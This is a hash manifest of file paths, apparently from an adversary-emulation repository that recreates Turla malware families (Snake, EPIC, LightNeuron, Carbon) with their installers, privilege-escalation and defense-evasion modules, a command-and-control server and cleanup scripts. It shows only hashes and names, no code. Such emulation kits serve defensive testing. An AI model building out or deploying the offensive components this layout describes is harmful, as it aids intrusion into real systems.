+a9da30e0acf214782a1125daf9f72d109161b3415d4f19bc84275c89a0168819 ./Resources/Snake/SnakeDriver/libinfinityhook/README.md +af1f2474a5a04ba39daab7a523a293da89f8f17bd6c8f7db7f795e4238a27eb6 ./Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj.filters +90a251c7ba447b862a21fe3c22a03a59d422d81a70af00886e0a7ed51e14f6fa ./Resources/Snake/SnakeDriver/libinfinityhook/mm.h +414478d4ac56060e80f04fd4867ea2d04db8724897ca7702ffcd08b4da476a5f ./Resources/Snake/SnakeDriver/libinfinityhook/img.cpp +f53a0a5e470ec048a1b9eff03d6e342e963b5cabcc0c131e43ed3ccd84afc9ee ./Resources/Snake/SnakeDriver/libinfinityhook/img.h +f8378bed1ec7ba53e5080fd5bdc85e804bbc27713cf76d6dd4166d7e414f3853 ./Resources/Snake/SnakeDriver/libinfinityhook/ntint.h +e99aa4997bda14b534c614c3d8cb78a72c4aca91a1212c8b03ec605d1d75e36e ./Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.h +b15a00cd95d78b043d4b2891ea64c98947cb6bba2674e5cf2ed212f9c02cc8c7 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/pstdint.h +8ca3e2add53e7788e43ccb051b90cddef1a0681ddd84029f9e7018fb1993c736 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.cpp +b774446d2f110ce954fb0a710f4693c5562ddbd8d56fe84106f2ee80db8b50a2 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/table64.h +0650c67b26c89e4edfbebdb325c951bf12a9d880e3cd2d0ffaf4791fffe1702e ./Resources/Snake/SnakeDriver/libinfinityhook/stdafx.h +c08af786e63b5b11c4e9eada5833c6be4c5a4d787f6ec7712362819019f78386 ./Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj +d6c2dd792436adf3f7e2f14244ee68b3b287ddfcd7bb6e4e904b841a99de0666 ./Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.h +383d527abfaea406bad3ea07b0de86c5a02bcb64fb8e7371c656fb83f95e025d ./Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.cpp +e573ac49c72d6d5600ad4695b030dc1fbf47c06cb1a8891ec05c9fbd936c3a50 ./Resources/Snake/SnakeDriver/libinfinityhook/mm.cpp +75d7712d62c0d2338e239a30ee2fb52bcba743ea143633514e32916f4e661856 ./Resources/Snake/cleanup.ps1 +803073f46750b26bef11a6b43e0d4ea45675e552e31a3edeb4d02bd75e98bb80 ./Resources/Snake/gen_h_file.py +060f7da313602c8a0ef8af5e3f0264a717ed0ff001f563c71618978f7d1a1161 ./Resources/Snake/SnakeInstaller/external/hde64/hde64.h +98b281719ce1f20ebb72d0b6a851fbf57d14c11e93b2d50477dd51d65da80678 ./Resources/Snake/SnakeInstaller/external/hde64/table64.h +7b774377e2590ec3adaf1d6e6165a2f3c70bce4e63416b2495a8b82bf9e643fc ./Resources/Snake/SnakeInstaller/external/hde64/hde64.c +fc8caba94e11887ed4acdebbd13c478412885f7e0bcec86393779bcd147ea913 ./Resources/Snake/SnakeInstaller/vcpkg.json +a8167851fd582632425333dd0fa8645ead69d8896ac66ec2e94713f23dc6b78a ./Resources/Snake/SnakeInstaller/README.md +d4fac9aa285c3bed24f1052631560791893370bf374e6985cb8679b3976c3c9d ./Resources/Snake/SnakeInstaller/.gitignore +b8475f4cf77e39043c0d61d9ca0abcbf902c670a05d4476236e0436609ccdc58 ./Resources/Snake/SnakeInstaller/CMakeLists.txt +371ab86d5b273ced7bfbf3f7c436df4334e4bcf661e9f1db6ba116818e04ae79 ./Resources/Snake/SnakeInstaller/tools/launch.vs.json +d3703b320ca0a56e16e2c809d5df4968b4333c53323e2f0318624435cd0a43fc ./Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp +c5e44f04e68ab8682e23d1e1da62c6ba7a723a62cdc38252efcd14d36c392821 ./Resources/Snake/SnakeInstaller/src/privesc/privesc.hpp +df8ff622fa776bab5719257a6d7fcd6838682e8d6f1cc875f6bd717364c60f45 ./Resources/Snake/SnakeInstaller/src/ci/nt.hpp +a376b0989b8df3b2b8269162acbafae73ceca0ae7b441f1ea05ca5a3f7a753ac ./Resources/Snake/SnakeInstaller/src/ci/ci.cpp +1c9f045622a4d7a8e6193db36f1539118437ddcc05cbaa2871aae3f12f1493ac ./Resources/Snake/SnakeInstaller/src/ci/nt.cpp +eb5b5125d7f21e5ad9c8ad269c72fa043f1a27de06ac6f674025d2198279484d ./Resources/Snake/SnakeInstaller/src/ci/ci.hpp +1e5efc2c62f28b66913241d8215f5ddc39248d96de517c8a71bd1b6fc76ea442 ./Resources/Snake/SnakeInstaller/src/CMakeLists.txt +cfebe1084631fe3b289d3c451ff0f705f6504686857b34dc496904490c5f6c90 ./Resources/Snake/SnakeInstaller/src/common/string.cpp +b24ba8407d18dbfc7a0a4fa66538c0419563d70fc122d1735d9b39166f2487fc ./Resources/Snake/SnakeInstaller/src/common/error.cpp +786e271fe27bfb5330d691c3edee799edac410362449b4d7ab9f358658bc25ed ./Resources/Snake/SnakeInstaller/src/common/error.hpp +7c05b0b32424550c38fe46244cd2360ae84f811e2cd083c33db59702d63f2623 ./Resources/Snake/SnakeInstaller/src/common/string.hpp +6c0c52758a140004cd6bc612282e3cf23904c68d0f5c1e44e880bdd9269d7f48 ./Resources/Snake/SnakeInstaller/src/common/handle.hpp +c048ff647a7ab8f2bfe165598c0104c066ff1b3e8a5c0e83821bb93174ff3000 ./Resources/Snake/SnakeInstaller/src/resource/resource.hpp +b95db64031df2725e4f040754aa8bf6fc71a936846f46f72652d1586c1547040 ./Resources/Snake/SnakeInstaller/src/resource/resource.cpp +6574645a1384d3d5b9432d31b27dbb0077056bee8f35658347fdce3f88fd3e04 ./Resources/Snake/SnakeInstaller/src/resource/resources.hpp +4688f6b986884a269b4a8da59afed0f3e3cd297b461d695c6dbd3a63ada6de95 ./Resources/Snake/SnakeInstaller/src/resource/resource.rc +72b8bc2dc9d03f0f02e275967283ada6475a86e9541c5ac7fb9ec7e8294d2323 ./Resources/Snake/SnakeInstaller/src/driver/driver.cpp +eb69ac3fd8e6613254631b3f6c8eff0b90db7f8e37f83a29266bf7cdcc607df2 ./Resources/Snake/SnakeInstaller/src/driver/driver.hpp +8169c7d95857c96f5618ca43cef2490dc52fe25284ec9f412f0dbcd22bc0888f ./Resources/Snake/SnakeInstaller/src/driver/gb.hpp +bf88ff557162bf81d3b529d3c52149224602e77783a989fbf1058e6331bfbda2 ./Resources/Snake/SnakeInstaller/src/main.cpp +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Snake/SnakeInstaller/data/.gitkeep +727cf1c8e4d6529bc95437cbadb27e2dc90a7461b2860e94e2281619af382662 ./Resources/Snake/SnakeInstaller/CMakePresets.json +82d78f53af71a9ee2988ca97feb36a94a9dfad326205653e2ce74cd3a1ddb4a8 ./Resources/Snake/buildall.ps1 +2a8edb02779c9629488f248f27f8a36ca872ae1e4ea32b83131a9ff1d0887c55 ./Resources/Mimikatz/README.md +44bcd3cc60f376fc1c5a79db613297315ec96913e2ce523ed7936034ab6376f2 ./Resources/cleanup/README.md +197ecfa68d3b5f134e70940850ce52f7b7fdd710b9ffe23ab5900ee3f7e94e85 ./Resources/cleanup/Snake/snake_cleanup.ps1 +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/cleanup/Snake/.gitkeep +abadb6c212ed8ddbe6852d2fb892d5a71daf6121245b1b39bd4e11c792577d34 ./Resources/cleanup/EPIC/epic_cleanup.ps1 +9d42b01bafaf9280fd17c56923c7d34dd46813d2a0fdfeab3a3c14c35213acb7 ./Resources/cleanup/LightNeuron/lightneuron_cleanup.ps1 +b196429dbd49c2327bdb831fb6064cf27cd99d49250d3b7ba107bcdaeb55d8c7 ./Resources/cleanup/Carbon/carbon_cleanup.ps1 +cec0672230b223a588c2a0c6e8f00ad4b4e25820950b25c3faf7581f9cad2ab5 ./Resources/cleanup/Penquin/cleanup_penquin.sh +7e3fe788c674daf17359698b629003c93e68a9e737a4d562ff01c5d30ba0e2ae ./Resources/EPIC/README.md +63a6c506a8899360c2d24070becb84492630ff06cea3ecfc181801ae308c7354 ./Resources/EPIC/payload/vcpkg.json +4a2ec598761fa384912b752e04629b10db3d71beae0ffb4d4635b51378de7673 ./Resources/EPIC/payload/README.md +2a66c0c4a8f63905a1e1fadec95129af57c1e6379f85cac7a552e969eedaac4f ./Resources/EPIC/payload/.gitignore +0a117369cdea2f3a7fb8510571e2f5844d375570d8ead1f2cd7a3fbaa9d2c4cd ./Resources/EPIC/payload/CMakeLists.txt +7b7585b0afb3aaf859b781c7c8e834a61f08a722fd74b2449910c723ec580324 ./Resources/EPIC/payload/tests/comms_test.cpp +064de83dd1f1d45f2e6ac4a3a82ecca989f9ca58d7befaf6d68455efbad282bf ./Resources/EPIC/payload/src/file_ops.cpp +787d3e71d8d498c1135ff79b226f5d4af6c7dd1d4a38a69f32c666abbbf94efa ./Resources/EPIC/payload/src/base64_y.cpp +b9f126701de8d150f67ae4843c58f418dfa683dfc4439d608a36922062315260 ./Resources/EPIC/payload/src/comms.cpp +938832e7a57c3201b992802eb80f4e2acec8a0fa6c06fa9f8ac57f69ef4d92f2 ./Resources/EPIC/payload/src/CMakeLists.txt +b58c017916a7bb5614dc62ba6b7f14c6609221636f7a10b22f51dee568cbb586 ./Resources/EPIC/payload/src/epic.cpp +a5d04e68ffc830472fb6d66a17892710b2115c97d6ece0d9552d1b901157df23 ./Resources/EPIC/payload/include/file_ops.h +dc2212c716157a8d8d854596c8fb4c54d5380f6aac77b811d6718d8145456321 ./Resources/EPIC/payload/include/comms.h +09ebb40db31278f10363d3a41b1d3081de6af2b23fad3d5edb022a20b872b1f8 ./Resources/EPIC/payload/include/epic.h +b1341dc9b970414f56bf041284ddb416b0d047aced375a4033f7983b2b157f87 ./Resources/EPIC/payload/include/instruction.h +2c1448db3a0a0b32dc51e63c3549178ef6b294ad8740204b4a23c9af00ca3eaa ./Resources/EPIC/payload/include/base64_y.h +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/EPIC/payload/bin/.gitkeep +6f7f50fb5f576f3be57206adf973a548a75e9fca008e976d9fd53d6540e11de1 ./Resources/EPIC/payload/CMakePresets.json +5008f0ffe7a5f5c234a945d8292423f461839f98384060cbd758791215ee4314 ./Resources/EPIC/buildall.ps1 +b1eb3cceffe4efc05350783f2b268d413824ad637838a36c3aaee43ee9a7abd9 ./Resources/EPIC/SimpleDropper/SimpleDropper.sln +72c7423a322b8df1c514ae4b59de59569a5843c0c1afda0a20f0483587388084 ./Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp +1476ab38018d0d8dfdfc621db2a6e6ddf151a24126900b4335bdd1c0f0926f3a ./Resources/EPIC/SimpleDropper/SimpleDropper/resource.h +9791a4f182ff22ef9f9fbdfcf71a7e5a55b3fa35b72afd5911916b4b2e788778 ./Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.vcxproj +ac2349d7612f5dc4e5677afd71c8e091d9e22ba43ca419a050398b8989d86fb1 ./Resources/EPIC/SimpleDropper/SimpleDropper/README.md +480d50f194a41f10daceb0f46763bff61f438294283bfcfcc43071184512a4ae ./Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.rc +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/EPIC/SimpleDropper/SimpleDropper/bin/.gitkeep +590a8eb35a25d246d2a76586561d844f498a768dd9b9db94f59f0c7b7cd0e67c ./Resources/EPIC/Defense-Evasion/reflective-guard/Intermediary.sln +d6183dfb373cacea3fa204c1dfabd8c67ff6d3be0733b82e4f9b82a24f4b7245 ./Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/Main.cpp +60db2f201ca45513b6565871f132d5e63337bac902520c4e5096caa4210615e3 ./Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/DLL_Run.vcxproj +6bd3359f8ebfab999a73caa73c49e3dcbb053ab084633c70c430e3a16a6db4d1 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/resource.h +bb6347f1f5bf54a87b6c8ff644a9febacbbcb7849cbe3dc9de12f838ccf5068a ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/README.md +333be18c6013f7a2f89820771e87e5256bea99c6f27e12760771f1d5edfacd2c ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp +780b094b83f8a384f2961b1959b60a6bd851e117d722c0369ca193267b663f42 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/reflective-guard.vcxproj +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/bin/.gitkeep +483dd73b0d5e95786ef7979e0c4bd29346efb10c74c84d9dac1763ff7502887a ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/Resource.rc +e6abd99ce900788a9e4336402b715f2e9b5049b23aa7f60d325c37c37843ca2f ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test.sln +21050e30466aa90a4be8bd684fc59cfdd52dd27b5bbf0b3c1a4a9353c57d0250 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/Source.cpp +c8f8523079686f09154fce36e28dac0eda3bad4a004cc09b1f505529c5b686c1 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj +c65b2b1a71dcd26333d8dc209ffeb90a906ddd8bbab6d45dada8e3bc84c30226 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.user +d180bcf07192f42750c967ac9cb9df9f663663b7fae0693dc9eb3e9e89dc961a ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.filters +d425b59edab8f093b8ee0cdd46826ea1957b8b6c3cc842ad2169d34e1c98b15c ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp +11bbee7e0f9c04d6ef83b6fb056ee17c4627e53948ab929586b70c6759d0c4ac ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/resource.h +7f0be0783bf5b0fa962eac6a6c8cac8c1e9a4a362371b2a48ada211882ab2ffc ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/README.md +c65b2b1a71dcd26333d8dc209ffeb90a906ddd8bbab6d45dada8e3bc84c30226 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.user +2a602a66ec3f20e2dbeb9ae17216e981a87a5a058a6487fb9cd8d60170d2fbaf ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/bin/.gitkeep +5d5a54595d46551c6bdcbf6ab3bef1a4c9922e001739d0478e641ba5615ba76c ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Resource.rc +d4d4de90af36779f25a43ec411729bcf8ed7d31a38f7c787f23dcb20b6b8da4f ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.filters +3280b494fbb89d23ead471ea9082a6de13bceb3af3d5f838565978bfdcd6512d ./Resources/EPIC/Defense-Evasion/reflective_injector/Primary.sln +15f5a51835a5e41ca30ea5cec9e679371c7bc43185589188e03c2477bdc4d9a7 ./Resources/LightNeuron/README.md +79f5cbbb1f9d9911c93bb5a422b92cfcdce33145e3cef0ff9871df11fcbac94a ./Resources/LightNeuron/.gitignore +1705fac229fd6e64d446466099264775ea0415a96b371550ebc5bbe92609348a ./Resources/LightNeuron/setup.ps1 +c7acf4b6c4463bb50cb91ea0e0729878f05bc5559efd44e3a31acb96bf9ac996 ./Resources/LightNeuron/CompanionDLL/vcpkg.json +c44ac356495f7a24b3c6e0109174d1d01e52c8a8776b6313fbbd8435c05baa87 ./Resources/LightNeuron/CompanionDLL/.gitignore +f20e0baeb6647013ce721a61054aa7636369593d79d620051b68be9d22bd3806 ./Resources/LightNeuron/CompanionDLL/CMakeLists.txt +c81396a3d5c9d0a3a1b08a14a9384235a621b5aeca00676ed67bdb6007b8b642 ./Resources/LightNeuron/CompanionDLL/tests/tests.cpp +6912c82762f6dc630d251547a010532cc9bae6d9e86471e0d3f5162239c0105e ./Resources/LightNeuron/CompanionDLL/tests/snake_extract_64.txt +2eb81e6faf1d303a75d2ad160aef321248d7b469ab0bd4b2ec38124727313f2c ./Resources/LightNeuron/CompanionDLL/tests/winmail.dat +639779f738a5d7c5e013a8a4fec2c64ff5640ad5966e72940048d75626dd82a3 ./Resources/LightNeuron/CompanionDLL/src/pugixml.cpp +339ffd62f602e07d70178fec610c5f27f278ccd3814e2f6ea67e143b781f8f1a ./Resources/LightNeuron/CompanionDLL/src/stego.cpp +86796af432fb21b8f021c796be6d9ee345da6096abb2900c2da7759a884074b1 ./Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/LightNeuron/CompanionDLL/src/CMakeLists.txt +57b4878ad53c380071d1eadc6aed64b876d2033460bbf8d4257355247a5a46df ./Resources/LightNeuron/CompanionDLL/src/rules.xml +d147c7214530ca58dee76bff59fdbd5e5a230ace88532b36245ab012d757fc9b ./Resources/LightNeuron/CompanionDLL/src/base64.cpp +606f14165005f4c670387268076c9ddfd51d15c1be99c4826cd59ba3121f51d5 ./Resources/LightNeuron/CompanionDLL/util/analyze_image.cpp +051d4ab62c2fd13ea02b3cbf7a6e7e130e11fca7837a32b0901d7313b5963e49 ./Resources/LightNeuron/CompanionDLL/include/exdbdata.h +acf75965e5dc951bc8c5a2d5051572f6434631ad9d974692dcdb2265f49f35e0 ./Resources/LightNeuron/CompanionDLL/include/base64.h +10c3d19b5bea9b974fdbc2d439732437fd06bf855156ef87d2cece9191e696c1 ./Resources/LightNeuron/CompanionDLL/include/pugixml.hpp +54a6fa9155157822873d14a0f88b16e330152fb1e04076349652ea988b82443a ./Resources/LightNeuron/CompanionDLL/include/pugiconfig.hpp +3975e40a6a0206dc8ef52cb950015d16207f8b72d85ff383b60a542747d2ac72 ./Resources/LightNeuron/CompanionDLL/include/stego.h +103fb2dfc4ba5d044242abb3358e8f80d35eb8fe810d007d1690c971476ae098 ./Resources/LightNeuron/CompanionDLL/data/rules.xml +19f88f9016931088984cb0faf292fbb7c7971c6bcd9bc4df92d9d75b94c6b5b6 ./Resources/LightNeuron/CompanionDLL/data/winmail.dat +a3f6f72d6f6cd5a10d1a29e3ce4c78eb6c6ab3c6336b7f887620aff4de014b93 ./Resources/LightNeuron/msiex.ps1 +302b9695c063519ab9f3a3e46c8f688d23cb4cb8b3b85b9af88c15356e55d782 ./Resources/LightNeuron/TransportAgent/.gitignore +017a33f2bd5f19533d6b3ccd6d6cf453fa82edd903758258a80ed4d5b204cd94 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.csproj +afaa41012287935f7f7f0c01068f2661e6e3814c6b1aa3c72c281445282443d3 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs +a6ca250def9cf51742c1f6867c5b3ef1a5dab304b422e30e00d9a19fcde33cc7 ./Resources/LightNeuron/TransportAgent/TransportAgent.sln +790ed7a6efcba957030d13dd05defbfd1c8b3757f2ec8df85d367ee454ed77ed ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/ConnectionFilteringAgentTests.ps1 +48c17df92b6a00f7715bb70c44bb2a755698f8312cbd43d21be48f262b60e7d1 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests.csproj +771bf2a5825608cfc16fed43f67bf903de41e3b1fb2c844a13b908c3de72e554 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/snake2_hat.jpg +46f393e8479bb8b97a0ebbf448d84940364ef371cfc6e100a23e5c1a202bd008 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.cpp +13e8bc82a13298d0b7c6fcc0fc51b8509d25849a671797847fabf013f783ff7a ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakeLists.txt +a570100ff4c40b5bb30e5fa76d564f6c398d8ddfc379d2026692047580efe1bd ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.h +6f7f50fb5f576f3be57206adf973a548a75e9fca008e976d9fd53d6540e11de1 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakePresets.json +ebea2b252683c06ca06568ed39822efba019f376d57fed4e1aa0b3ec123d3982 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/uninstall-transport-agent.ps1 +5602ad9394f3ff209daca517a9b309807968e4bfae12d8f870db052a6efbd3b5 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/msiex_test.ps1 +e399b392456158360184100078688d9ec02fbd26c0f0a7f40f900b6f6bd95044 ./Resources/control_server/exampleImplant.py +905e03067d027a4d50555866dc4b4f71f3d77ad8bebe5c7d2f2740e9a8ede865 ./Resources/control_server/README.md +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/control_server/files/.gitkeep +ec72420df5dfbdce4111f715c96338df3b7cb75f58e478d2449c9720e560de8c ./Resources/control_server/requirements.txt +e75c1265265a4607128647ba4aa5466fdd56e05861715a1e7d96eed32abb9764 ./Resources/control_server/sessions/sessions.go +242ebe864191c1326ff84ddd98912b14a10a62d2c175f817cbc59e133c6f1b30 ./Resources/control_server/sessions/sessions_test.go +8011e3d79ad7ae200b9a09370df2339f77d8ed6cf96c21dc9b8b592fb50b3400 ./Resources/control_server/display/display_test.go +da1771494d0b766c2b3160fc65eec3b3e14dea7eb7d4cf1a7edefdaa16478a50 ./Resources/control_server/display/display.go +5b438ec58ee8c5e321f1cb54e87a9614073128f0f27f755d45dcd20316b858e5 ./Resources/control_server/handlers/handlers.go +83979159429dda65e0ea4e071064d286db8edd580347faddd63ea0da4fdb1f44 ./Resources/control_server/handlers/snake/README.md +4651ef744e6f8f7fdea18a2e809d94a3dd1b3acaf7ff484751e29cf923646acf ./Resources/control_server/handlers/snake/snake_http.go +86f36d13f1c5d82bebf283b024d547a657b818fa5f6244ddba2ef6dc7eb60a5d ./Resources/control_server/handlers/snake/snake_http_test.go +249a98dbbc82cb8be15ed3e36f00786c70baa96a8b1fcaed8db3e6323fc61c5f ./Resources/control_server/handlers/snake/decrypt_logs.py +2e2bed3ceadf79f860964c3c45c4ff1784c518aa8ff34728d69627e76a650160 ./Resources/control_server/handlers/HandlerCreationGuide.md +62eaecc8a21fc431ccf958583868dcccbcbd37508d563151af87f5ace06aa5b2 ./Resources/control_server/handlers/util/util_test.go +c5b6b3264c7366cdddd82dc8c6e9979322de89be9004c8a6f69b73e8fdf059a5 ./Resources/control_server/handlers/util/util.go +98a9c758db1b2c44bcfe9858e8d447c74eaea45c818fa1e47afc7d416b1a6a7d ./Resources/control_server/handlers/lightneuron/snake_extract.jpg +0b3d5c069da0677bbe6314b44cc003b10430006d6f728ebaee9cdf6e975a456d ./Resources/control_server/handlers/lightneuron/README.md +c17903e009af8de4e570cd6fec6f9870d0c9e9656e973934cd74364b12ee71b6 ./Resources/control_server/handlers/lightneuron/lightneuron.go +771bf2a5825608cfc16fed43f67bf903de41e3b1fb2c844a13b908c3de72e554 ./Resources/control_server/handlers/lightneuron/snake.jpg +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/control_server/handlers/lightneuron/extract/.gitkeep +0db44713b9445fa9c0bcdd88242006be3beee8f55435aede77a3ce57a04d43ed ./Resources/control_server/handlers/lightneuron/lightneuron_test.go +537c836a7d21db0299f1c4c416dfd041f441a4031a6b3f82549a028cc0249e32 ./Resources/control_server/handlers/lightneuron/recipients.txt +418eb5feafbc56644352f31d336190018298e1261f3125da0174cce90e5c8b0a ./Resources/control_server/handlers/lightneuron/snake_modified.jpg +2a99fa8c8a763f38916758ddfdd6837b2b7c00666ea8d2f7a3ba1ec91dd2c539 ./Resources/control_server/handlers/handlers_test.go +505bbc9086e348e17f99401a163fa9deb30d31c028caa064fbd9ada69c9939f9 ./Resources/control_server/handlers/epic/README.md +edaa7ebd4fa7ae0acd1603c7679a217d5f32df9d1daa50db335a079e750fd414 ./Resources/control_server/handlers/epic/epic.go +4ef332d4fcbcdfcfb174a842b79782d36ef0c07498238c78460ad8af915107db ./Resources/control_server/handlers/epic/templates/home.html +cd588c3a2a43dc594ccefafecceb21c5623b9d0754371a14103680c79a5d1fee ./Resources/control_server/handlers/epic/data_transform_test.go +3db756e5092bf46368a6ff899319e11beccefbaa76109f0b4d06863a09a5c53a ./Resources/control_server/handlers/epic/data_transform.go +5e28cc1f13b03c22a4b2a50432d74982b063d199971786ee0dc35ff455394f64 ./Resources/control_server/handlers/epic/command_buffer_test.go +b9fa9660bf64c33d507e2d955d9ca8bd6223235737cafb8b54fa5d0b114abce2 ./Resources/control_server/handlers/epic/epic_test.go +9469ac6d20f3e66d328df44cc5c08008b14b9e2c5dd8f216e4cf764cfc3db7d8 ./Resources/control_server/handlers/epic/command_buffer.go +aa5ba0211cadc815eb5b31009facc51561b102981c33b8f29f4c98d6736b340c ./Resources/control_server/handlers/carbon/README.md +af9fa01e1d1f50130c60f29c119c58901256f2a5a77c70d9c9df42f90bf0245e ./Resources/control_server/handlers/carbon/carbon_http.go +edda6b68157abf53d0b5e94d4f097963e4c33bfc36d4cfc22528b64430b443c9 ./Resources/control_server/handlers/carbon/carbon_crypto.go +b2a92940831b877b246094380cc2ae326364286c98b662aa7c04eb7d82a25e43 ./Resources/control_server/handlers/carbon/carbon_http_test.go +fa016889ac9764d33f29a9a95a31cc7a74b6a296f7714ca5ce943075c05521f4 ./Resources/control_server/handlers/carbon/carbon_crypto_test.go +daaf6807fd01a7568bbb3e732960131f232b5c93081277d630c841e3111d96fc ./Resources/control_server/restapi/util/restapi_util.go +7546374d517e2e9dea0e34e72e11d396d264c5a472b5d53cdd1083a577da63ec ./Resources/control_server/restapi/restapi.go +c70848c037c5b9ef17b78e0d205248410a7646f2163ace366f0ea8f6ffb7efdb ./Resources/control_server/restapi/restapi_test.go +d2c01c70ad023b6680a3ddc73acdc3766e70f211eac26b7e7c2629c76245f928 ./Resources/control_server/Makefile +00b7959112010b5c307a7aa79b5c7e51af69b71fc90e7e9f09c0dfe6e82b5c3a ./Resources/control_server/test_utils/test_utils.go +0828fa13c89b4db41973bde100471de1c74efec2c56bc35b64fc8dc4431bfb44 ./Resources/control_server/evalsC2client.py +7b67152140888ef81f6aa2394702e48c36a22d60d4cf51c89b334dd2d297aa67 ./Resources/control_server/go.sum +8c1791950338fc0828b69368e3315c1151a87e82c55d7110261925bc0642d994 ./Resources/control_server/tasks/tasks.go +ab2d4ca10493f6fd2ce3695e277b2abc0afe5dd798f095d2699d4c889e3a7a1d ./Resources/control_server/tasks/tasks_test.go +12a61f4e173fb3a11c05d6471f74728f76231b4a5fcd9667cef3af87a3ae4dc2 ./Resources/control_server/test_payloads/snake/test_payload +6b880a8c80bf71a2e87d569ffd1ddf393f8fa33c5dc49048dbc05dd36fa29533 ./Resources/control_server/test_payloads/hello_world.elf +6b880a8c80bf71a2e87d569ffd1ddf393f8fa33c5dc49048dbc05dd36fa29533 ./Resources/control_server/test_payloads/epic/hello_world.elf +be2897a3bcf75781319acf5c7918f602cc9df0ce9b539d02ee75589bfeecc363 ./Resources/control_server/test_payloads/carbon/examplepayload.txt +d476524b32f12c84a105a44fa125345fe5770512a2d014fe612288f6e4af3a3f ./Resources/control_server/main.go +6d715e9ed8721fd5c18bd9f734bb3965a7898fd796bfbaf552a12aefa34b1f61 ./Resources/control_server/config/turla_day1.yml +4740d0f51aaf835c5d4422cea7571646c8359feddb939286691aae657ec5f8fb ./Resources/control_server/config/restAPI_config.yml +0392f42d3897a7f9914c78bfc2b8364fdfb536fb3467570f3dbddd10ec2d0b84 ./Resources/control_server/config/config.go +15e8967f3c86e8a0e306e347abf3fa4052b2eae19b1554715ca8aa818075d65a ./Resources/control_server/config/test_config.yml +8fec6c136093fa2c8681e1d2e060334d2b4fef37cfd6b4fb8247d697ddcd381e ./Resources/control_server/config/turla_day2.yml +0dbc3011ab1f1e9caf2d19cab7a825380418fe3171bfb952fa6b4f140b913228 ./Resources/control_server/config/config_test.go +e2948500aeb5cce4f9cee4905737ca30e4976b7d4ced420bf367ddebda6febc2 ./Resources/control_server/config/handler_config.yml +0309ed6ef82b30df41ab1581b17fb552589315db937961482a1f2a30c5d2f1d4 ./Resources/control_server/go.mod +291e9df34e2b3cce536dfae30d50cba80a7c2439bb78fb3ee2d6ef7fe9527c7a ./Resources/control_server/logger/logger.go +b02bc250d68b88484b1302a2d6af1723eb3f660f87a895b9b02bba8174bb5493 ./Resources/control_server/logger/logger_test.go 